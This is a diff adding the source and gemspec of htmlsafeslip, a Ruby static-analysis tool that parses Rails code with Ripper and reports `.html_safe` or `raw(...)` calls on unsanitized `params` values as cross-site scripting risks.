+        message: "#{call_text} marks a value traceable to `#{receiver}' in " \
+          "#{method_name ? "##{method_name}" : "this method"} as already-safe HTML, with no " \
+          "sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- " \
+          "this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) " \
+          "payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or " \
+          "strip_tags(...) before marking it safe, or drop #{kind == "html_safe" ? ".html_safe" : "raw(...)"} " \
+          "and let Rails auto-escape it. See DETAILS.md."
+      )
+    end
+
+    # Yields (enclosing_class_name, def_node) for every `def` node found
+    # anywhere in the file, tracking the nearest enclosing `class` name
+    # (nil if the method sits outside any class).
+    def each_method_node(node, class_name = nil, &block)
+      return unless node.is_a?(Array)
+
+      if node[0] == :class
+        name = const_name(node[1]) || class_name
+        node.each { |child| each_method_node(child, name, &block) }
+        return
+      end
+
+      block.call(class_name, node) if node[0] == :def || node[0] == :defs
+
+      node.each { |child| each_method_node(child, class_name, &block) }
+    end
+
+    # Handles both a plain instance `def foo` node ([:def, ident, params,
+    # bodystmt]) and a singleton `def self.foo` node ([:defs, recv, period,
+    # ident, params, bodystmt]) -- the ident sits at a different index.
+    def def_name(def_node)
+      ident = def_node[0] == :defs ? def_node[3] : def_node[1]
+      ident.is_a?(Array) && ident[0] == :@ident ? ident[1] : nil
+    end
+
+    def const_name(node)
+      parts = []
+      collect_const_leaves(node, parts)
+      parts.empty? ? nil : parts.join("::")
+    end
+
+    def collect_const_leaves(node, acc)
+      return unless node.is_a?(Array)
+
+      acc << node[1] if node[0] == :@const && node[1].is_a?(String)
+      node.each { |child| collect_const_leaves(child, acc) }
+    end
+
+    def min_line(node)
+      lines = []
+      collect_lines(node, lines)
+      lines.min
+    end
+
+    def max_line(node)
+      lines = []
+      collect_lines(node, lines)
+      lines.max
+    end
+
+    # Ripper.sexp attaches a trailing [line, column] position array to
+    # every leaf token node. Recursively collecting every such position
+    # within a subtree gives an honest (if approximate) line span for that
+    # node without a second, regex-based pass over raw source.
+    def collect_lines(node, acc)
+      return unless node.is_a?(Array)
+
+      if node.length == 2 && node.all? { |x| x.is_a?(Integer) }
+        acc << node[0]
+        return
+      end
+
+      node.each { |child| collect_lines(child, acc) }
+    end
+  end
+end

data/lib/htmlsafeslip/cli.rb

@@ -0,0 +1,47 @@
+require "optparse"
+
+module Htmlsafeslip
+  module CLI
+    module_function
+
+    def run(argv, out: $stdout, err: $stderr)
+      command, *rest = argv
+
+      case command
+      when "check"
+        check(rest, out: out, err: err)
+      else
+        err.puts "usage: htmlsafeslip check <dir-or-file.rb> [<dir-or-file.rb> ...] [--json]"
+        2
+      end
+    end
+
+    def check(argv, out:, err:)
+      options = { json: false }
+
+      parser = OptionParser.new do |opts|
+        opts.banner = "usage: htmlsafeslip check <dir-or-file.rb> [...] [--json]"
+        opts.on("--json", "emit JSON instead of text") { options[:json] = true }
+      end
+
+      begin
+        parser.parse!(argv)
+      rescue OptionParser::ParseError => e
+        err.puts "htmlsafeslip: #{e.message}"
+        return 2
+      end
+
+      if argv.empty?
+        err.puts parser.banner
+        return 2
+      end
+
+      paths = argv.flat_map { |a| File.directory?(a) ? Dir.glob(File.join(a, "**", "*.rb")) : a }
+      findings = Htmlsafeslip.check(paths: paths)
+
+      out.puts(options[:json] ? Render.json(findings) : Render.text(findings))
+
+      findings.empty? ? 0 : 1
+    end
+  end
+end

data/lib/htmlsafeslip/finding.rb

@@ -0,0 +1,23 @@
+module Htmlsafeslip
+  # A single detected `.html_safe`/`raw(...)` call site applied to a value
+  # traceable (same-method) to `params[...]`/`params.dig(...)` with no
+  # sanitization call applied to it first.
+  #
+  # code:     "HS001" every finding uses this single code (one rule: an
+  #           unsanitized, params-traceable value marked safe for raw HTML
+  #           rendering)
+  # klass:    the enclosing class name the call site was found in (nil if
+  #           the call site sits outside any class)
+  # method:   the enclosing method name, e.g. "show"
+  # kind:     which unescaping mechanism was used -- "html_safe" or "raw"
+  # receiver: the receiver/argument text that was marked safe, e.g.
+  #           "params[:bio]", "bio", or "params.dig(:user, :bio)"
+  # file:     path to the source file
+  # line:     line number of the offending call
+  # message:  a human-readable description
+  Finding = Struct.new(:code, :klass, :method, :kind, :receiver, :file, :line, :message, keyword_init: true) do
+    def to_h
+      { code: code, klass: klass, method: method, kind: kind, receiver: receiver, file: file, line: line, message: message }
+    end
+  end
+end

data/lib/htmlsafeslip/render.rb

@@ -0,0 +1,21 @@
+require "json"
+
+module Htmlsafeslip
+  module Render
+    module_function
+
+    def text(findings)
+      return "htmlsafeslip: no unsanitized params-to-html_safe/raw findings" if findings.empty?
+
+      lines = findings.map do |f|
+        call_text = f.kind == "html_safe" ? "#{f.receiver}.html_safe" : "raw(#{f.receiver})"
+        "[#{f.code}] #{f.file}:#{f.line} #{call_text} -- #{f.klass ? "#{f.klass}#" : ""}#{f.method}: #{f.message}"
+      end
+      (["htmlsafeslip: #{findings.size} finding(s)"] + lines).join("\n")
+    end
+
+    def json(findings)
+      JSON.generate(findings: findings.map(&:to_h))
+    end
+  end
+end

data/lib/htmlsafeslip/version.rb

@@ -0,0 +1,3 @@
+module Htmlsafeslip
+  VERSION = "0.1.0"
+end

data/lib/htmlsafeslip.rb

@@ -0,0 +1,18 @@
+require_relative "htmlsafeslip/version"
+require_relative "htmlsafeslip/finding"
+require_relative "htmlsafeslip/checker"
+require_relative "htmlsafeslip/render"
+
+module Htmlsafeslip
+  class << self
+    # Scans Ruby source files for a `.html_safe`/`raw(...)` call on a value
+    # traceable (same-method) to `params[...]`/`params.dig(...)`, with no
+    # sanitization call applied to that value first.
+    #
+    # @param paths [Array<String>] paths to .rb files to parse
+    # @return [Array<Htmlsafeslip::Finding>]
+    def check(paths:)
+      Checker.new(paths: paths).call
+    end
+  end
+end

metadata

@@ -0,0 +1,86 @@
+--- !ruby/object:Gem::Specification
+name: htmlsafeslip
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- Jay
+autorequire: 
+bindir: exe
+cert_chain: []
+date: 2026-10-21 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: rspec
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.13'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.13'
+description: |
+  htmlsafeslip parses Ruby source with Ripper to find a call to
+  `.html_safe` directly on an expression, or a `raw(...)` wrapping one,
+  where that expression is traceable (directly, or via a same-method
+  local-variable assignment) to `params[...]`/`params.dig(...)`, with no
+  `sanitize(...)`/`strip_tags(...)`/`h(...)`/`ERB::Util.html_escape(...)`
+  call applied to it first. Both `.html_safe` and `raw(...)` tell Rails'
+  view layer "this string is already safe HTML, don't auto-escape it" --
+  calling either directly on unsanitized, user-controlled input defeats
+  Rails' single biggest built-in XSS defense, turning a reflected or
+  stored script-tag payload into live, executing HTML the instant it's
+  rendered.
+email: 
+executables:
+- htmlsafeslip
+extensions: []
+extra_rdoc_files: []
+files:
+- DETAILS.md
+- Gemfile
+- LICENSE
+- README.md
+- docs/USAGE.md
+- examples/app/controllers/comments_controller.rb
+- examples/app/controllers/fixed_comments_controller.rb
+- exe/htmlsafeslip
+- htmlsafeslip.gemspec
+- lib/htmlsafeslip.rb
+- lib/htmlsafeslip/checker.rb
+- lib/htmlsafeslip/cli.rb
+- lib/htmlsafeslip/finding.rb
+- lib/htmlsafeslip/render.rb
+- lib/htmlsafeslip/version.rb
+homepage: https://github.com/jay-tank/htmlsafeslip
+licenses:
+- MIT
+metadata:
+  homepage_uri: https://github.com/jay-tank/htmlsafeslip
+  source_code_uri: https://github.com/jay-tank/htmlsafeslip
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 3.0.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.5
+signing_key: 
+specification_version: 4
+summary: Flags .html_safe/raw(...) calls on a value traceable to params[...] with
+  no sanitization applied first.
+test_files: []